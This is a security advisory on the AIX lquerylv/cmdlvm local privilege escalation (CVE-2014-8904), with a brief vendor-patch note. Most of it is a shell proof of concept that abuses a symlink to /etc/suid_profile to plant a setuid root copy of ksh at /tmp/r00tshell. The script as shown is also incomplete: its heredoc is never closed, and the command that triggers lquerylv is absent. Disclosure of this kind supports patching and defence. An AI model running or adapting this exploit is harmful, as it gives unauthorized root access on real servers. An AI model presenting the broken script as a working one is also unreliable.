SSD Advisory – AIX cmdlvm Vulnerability

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AIX (Advanced Interactive eXecutive) is a series of proprietary Unix operating systems developed and sold by IBM for several of its computer platforms. Originally released for the IBM 6150 RISC workstation, AIX now supports or has supported a wide variety of hardware platforms, including the IBM RS/6000 series and later POWER and PowerPC-based systems, IBM System i, System/370 mainframes, PS/2 personal computers, and the Apple Network Server.
Vulnerability Details
The running of lquerylv command with variable DBGCMD_LQUERYLV set may allow a local user to gain root privileges.


# From file writing to command execution
# Tested on AIX 7.1
umask 0000
ln -s /etc/suid_profile /tmp/DEBUGCMD
cat << EOF >/etc/suid_profile
cp /bin/ksh /tmp/r00tshell
/usr/bin/syscall setreuid 0 0
chown root:system /tmp/r00tshell
chmod 6755 /tmp/r00tshell
/opt/IBMinvscout/bin/invscoutClient_VPD_Survey # Any SUID root binaries with execve(), or system()
echo "[!] Remove the /etc/suid_profile!"

Vendor Response
IBM has released an advisory and a patch for AIX servers: AIX cmdlvm vulnerability.
One CVE entry has been released for this vulnerability: CVE-2014-8904


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